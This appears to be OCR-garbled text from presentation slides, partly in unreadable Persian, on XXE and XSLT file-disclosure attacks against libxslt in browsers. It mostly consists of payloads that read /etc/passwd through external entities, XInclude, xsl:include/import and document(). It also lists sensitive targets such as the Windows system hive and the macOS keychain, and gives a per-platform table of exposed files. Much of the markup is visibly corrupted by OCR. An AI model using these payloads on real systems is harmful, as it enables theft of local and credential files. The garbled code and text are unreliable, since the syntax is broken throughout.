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<?xml version="1.0" encoding="UTF-8"7?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<root>&xxe;</root>

» C:\Windows\System32\config\system
» /Users/[username]/Library/Keychains/login.keychain-db
» /proc/[pid]/cmdline
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system-properties.xml s ® ® ®
o000

<?xml version="1.0" encoding="UTF-8"?=>

<7xml-stylesheet href="system-properties.xsl" type="text/xsl"?=
<root/>

system-properties.xml s ® ® ®
(X X )

<?xml version="1.0" encoding="UTF-8"7>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.0rg/1999/XsL/Transform">
<xsl:template match="/">
{p}
Version: <xsl:value-of select="system-property('xsl:version®)" /> <br /=
Vendor: <xsl:value-of select="system-property('xsl:vendor')" /> <br /=
Vendor URL: =<xsl:value-of select="system-property('xsl:vendor-url")" /=
</p=
</xsl:template>
</xsl:stylesheet=
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get-location.xml L.l @@ @

<?xml-stylesheet href="get-location.xsl"” type="text/xs1"?>
<!DOCTYPE test [
<!ENTITY ent SYSTEM "?" NDATA aaa=

|ES
<test>
=zgetlLocation test="ent"/>
<ftest>
get-location.xsl L .P e @@

NN
<xs5l:stylesheet version="1.8" xmlns:xsl="http:/ www.w3.0rg/1999/XSL/Transform"=

<xsl:output method="html"/>

<xsl:template match="getLocation®>

<input type="text" value="{unparsed-entity-uri(@test)}" f>

<fx5]:template=

=fxsl:stylesheat>
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<input type="text" value="file:///path/to/your/xml/file/get-location.xml” />

el 29> 000
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<input type="text" value="file:///path/to/your/xml/file/get-location.xml" />
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<?xml version="1.0"7=

<!DOCTYPE foo [

<!ENTITY xxe SYSTEM “"file:///etc/passwd">
1=

<test>&xxe;</test>
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Xinclude @ @ ®

<?xml version="1.0"7>
<test xmlns:xi="http://www.w3.0org/2001/XInclude">
<xLl:include href="file:///etc/passwd"/>

</test>
XSL j> xslinclude g xsl:import gloXi ® ® ®
Xiguis o3laiul XSL glm cuuin bl wlgic @ oyl g)li8U gl Aiilgign oKl
200

<?xml version="1.0" 7>

<xsl:stylesheet version="1.0" xmlns:xsl="htip://www.w3.0rg/1999/XSL/Transtorm">
<xsl:include href="file:///etc/passwd"/>
<xsl:import href="file:///etc/passwd"/>

<{xsl:stylesheet>

XSL ;> documenty() pioeee
:>guhs o5Laiul XML sl ylgic @ lould 5)135L slp lgi oo XSL j> document() o
XX

<?xml version="1.0" encoding="UTF-8"7>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.0rg/1999/XSL/Transform">
<xsl:template match="/">
<xsl:copy-of select="document('file:///etc/passwd')"/>
</xsl:template>
</xsl:stylesheet>
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Yasltest svg -

#Copy me#
SL:1.0
endor:libxslt
endor

RL:http://xmlsoft.org
Ent test:
document() test
127.0.0.1 localhost ::1
ip6-localhost
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Test Scenario Accessible Files

Android + Chrome fetc/hosts

105 + Safari fetc/group, fetc/hosts, fetc/passwd
Windows + Chrome

Ubuntu + Chrome

PlayStation 4 + Chrome

Samsung TV + Chrome fetc/group, fetc/hosts, fetc/passwd
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https:/swarm.ptsecurity.com/wp-content/uploads/2024/05/d34e0a53-libxslt.zip
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» https:/chromereleases.googleblog.com/
» https:/issues.chromium.org/
» https:/www.cve.org/
» https:/ubuntu.com/
» https:/swarm.ptsecurity.com
» https:/sploitus.com/
» https:/nvd.nist.gov/
» https:/cve.mitre.org
» https:/x.com/
» https:/www.tenable.com/
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